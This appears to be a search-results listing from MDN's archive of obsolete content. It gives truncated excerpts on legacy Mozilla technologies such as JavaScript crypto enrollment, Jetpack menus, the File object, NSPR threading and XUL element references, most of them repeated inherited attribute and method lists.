...ttrib +r +s "%userprofile%\application data\mozilla\registry.dat" >nul 2>nul regedit /s \\server\netlogon\reg\quicklaunch.reg >nul 2>nul ...
JavaScript crypto - Archive of obsolete content
the importusercertificates() function loads certificates into the nss database or smartcard if the corresponding key is found there.
...ng process user fills out enrollment form user action initiates script script calls key generation method (generatecrmfrequest) signing and encryption keys are generated encryption private key is wrapped with public key of key recovery authority (kra) (passed in in the form of a certificate as part of the script, and checked against a pre-installed certificate copy in the local certificate database) the public keys, wrapped encryption private key, and text string from the script (possibly containing naming or enrollment info) are signed by the user signed blob is returned to the script script submits signed blob and any other necessary info to the ca/ra ca/ra verifies signature on signed blob ca/ra validates identity of user ca/ra sends wrapped encryption private key to kra kra s...
...in the add case, the module will be placed in the nss secmod.db database and will be loaded automatically on application restart.
Menu - Archive of obsolete content
ArchiveMozillaJetpackUIMenu
data string an arbitrary string that the feature may associate with the menuitem.
...if the menu remains open when getrecenttweets() receives data from the network and calls done(), the "loading..." item is replaced with the tweets, one item per tweet: this example will not work on os x due to a platform bug in firefox.
...replace that item with a menu that lets the user search either google or wikipedia: jetpack.menu.context.page.replace("search", function (context) { return { label: "search for " + jetpack.selection.text, menu: new jetpack.menu([ { label: "google", icon: "http://www.google.com/favicon.ico", data: "http://www.google.com/search?q=" }, { label: "wikipedia", icon: "http://en.wikipedia.org/favicon.ico", data: "http://en.wikipedia.org/wiki/" } ]), command: function (menuitem) { context.window.location.href = menuitem.data + jetpack.selection.text; } }; }); create some div buttons (e.g., in a slidebar or status bar item) and specify...
File object - Archive of obsolete content
file.type a string specifying the type of data or encoding contained in the file.
... file.flush() flushes the operating system's write buffers for the file and blocks until any pending data has been committed to disk.
... examples example: hello, world file.output.writeln("hello, world"); example: writing a new file var file = new file("myfile.txt"); file.open("write,create", "text"); file.writeln("the quick brown fox jumped over the lazy dogs"); file.close(); example: reading from a file var data; var file = new file("myfile.txt"); file.open("read", "text"); data = file.readln(); file.close(); example: sending mail through a pipeline var mail = new file("|/usr/lib/sendmail foo@bar.com"); mail.writeln("i love javascript.\npipe support is especially good!"); mail.close(); ...
Using addresses of stack variables with NSPR threads on win16 - Archive of obsolete content
with the speed of today's processors (even those running win-16), the copying of 10 - 50 kilobytes of data between two locations in memory is barely measurable 1.
...the simplest demonstration of the problem is as follows: typedef struct shareddata { prlock *ml; prcondvar *cv; print32 counter; } shareddata; static void forkedthread(void *arg) { shareddata *shared = (shareddata*)arg; while (--shared->counter > 0) pr_waitcondvar(shared->cv, pr_interval_no_timeout); return; } /* forkedthread */ printn main(printn argc, char **argv) { prthread *thread; shareddata shared; shared.ml = pr_newlock(); shared.cv = pr_newcondvar(shared.ml); shared.counter = 10; thread = pr_createthread( pr_user_thread, forkedthread, &shared, pr_priority_no...
...on win-16, the thread's attempt to address the <tt>shareddata</tt> through the pointer shared will provide interesting (though always incorrect) results.
allownegativeassertions - Archive of obsolete content
« xul reference home allownegativeassertions type: boolean valid on any element that has a datasources attribute.
... when multiple datasources are used, one may override an assertion from another.
... this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
coalesceduplicatearcs - Archive of obsolete content
« xul reference home coalesceduplicatearcs type: boolean valid on any element that has a datasources attribute.
... when multiple datasources are used, one may override an assertion from another.
... this attribute, if true, which is the default, allows a datasource to negate an earlier assertion.
querytype - Archive of obsolete content
« xul reference home querytype type: string indicates the type of datasource used in a template.
... firefox 3 provides 3 built-in datasources: 'rdf', default, 'xml' and 'storage'.
... extensions may provide support for additional datasources.
sortDirection - Archive of obsolete content
ascending the data is sorted in ascending order.
... descending the data is sorted in descending order.
... natural the data is sorted in natural order, which means the order that it is stored in.
findbar - Archive of obsolete content
properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width browser type: browser element lets you set and get the browser in which the findbar is located.
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata close() return type: no return value closes the notification or findbar and removes it from its enclosing notificationbox or findbar.
Recursive Generation - Archive of obsolete content
for the top level generation the parent insertion point is the element with the datasources attribute, in this example a <vbox>.
...here is the content that was generated after one iteration: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a"> <template> <query> <content uri="?start"/> <triple subject="?start" predicate="http://www.xulplanet.com/rdf/relateditem" object="?relateditem"/> </query> <action> <hbox uri="?relateditem"> <button label="?start"/> <button label="?relateditem"/> </hbox> </action> </template> <hbox id="http://www.xulplanet.com/rdf/b"> <button label="http://www.xulplanet.com/rdf/a"/> <button label="http://www.xulplanet.com/rdf/b"/> </hbox> <hbox id="http://www.xulplanet.com/rdf/c"> <...
...however, for item c, the triple does match an item, so the data will be added to the potential result: (?start = http://www.xulplanet.com/rdf/c, ?relateditem = http://www.xulplanet.com/rdf/d) a match has occured, so the content within the action body will be created and added inside item c.
XBL Example - Archive of obsolete content
<method name="setpage"> <parameter name="newidx"/> <body> <![cdata[ var thedeck=document.getanonymousnodes(this)[0].childnodes[0]; var totalpages=this.childnodes.length; if (newidx<0) return 0; if (newidx>=totalpages) return totalpages; thedeck.setattribute("selectedindex",newidx); document.getanonymousnodes(this)[0].childnodes[1].childnodes[1] .setattribute("value",(newidx+1)+" of "+totalpages); return ne...
...the body of the method has been enclosed inside <![cdata[ and ]]>.
...is)[0].childnodes[1].childnodes[1] .setattribute("value",(this.page+1)+" of "+totalpages); </constructor> <property name="page" onget="return parseint(document.getanonymousnodes(this)[0].childnodes[0].getattribute('selectedindex'));" onset="return this.setpage(val);"/> <method name="setpage"> <parameter name="newidx"/> <body> <![cdata[ var thedeck=document.getanonymousnodes(this)[0].childnodes[0]; var totalpages=this.childnodes.length; if (newidx<0) return 0; if (newidx>=totalpages) return totalpages; thedeck.setattribute("selectedindex",newidx); document.getanonymousnodes(this)[0].childnodes[1].childnodes[1] .setattribute("value",(newidx+1)+" of "+...
assign - Archive of obsolete content
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
bbox - Archive of obsolete content
ArchiveMozillaXULbbox
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
binding - Archive of obsolete content
properties object, predicate, subject examples fixme: (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docomma...
...nd, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
bindings - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related tbd ...
box - Archive of obsolete content
ArchiveMozillaXULbox
nt="horizontal"> <label value="zero"/> <box orient="vertical"> <label value="one"/> <label value="two"/> </box> <box orient="horizontal"> <label value="three"/> <label value="four"/> </box> </box> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements vbox, hbox ...
broadcaster - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
broadcasterset - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
column - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, columns, rows, row ...
columns - Archive of obsolete content
attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements grid, column, rows, row.
conditions - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
deck - Archive of obsolete content
ArchiveMozillaXULdeck
inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docom...
...mand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related stack ...
dropmarker - Archive of obsolete content
examples properties accessibletype attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), ...
...getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
grid - Archive of obsolete content
ArchiveMozillaXULgrid
<menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related elements columns, column, rows, row.
grippy - Archive of obsolete content
examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
groupbox - Archive of obsolete content
properties accessibletype examples <groupbox> <caption label="settings"/> <radiogroup> <radio label="black and white"/> <radio label="colour"/> </radiogroup> <checkbox label="enabled"/> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), ...
...getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider ...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
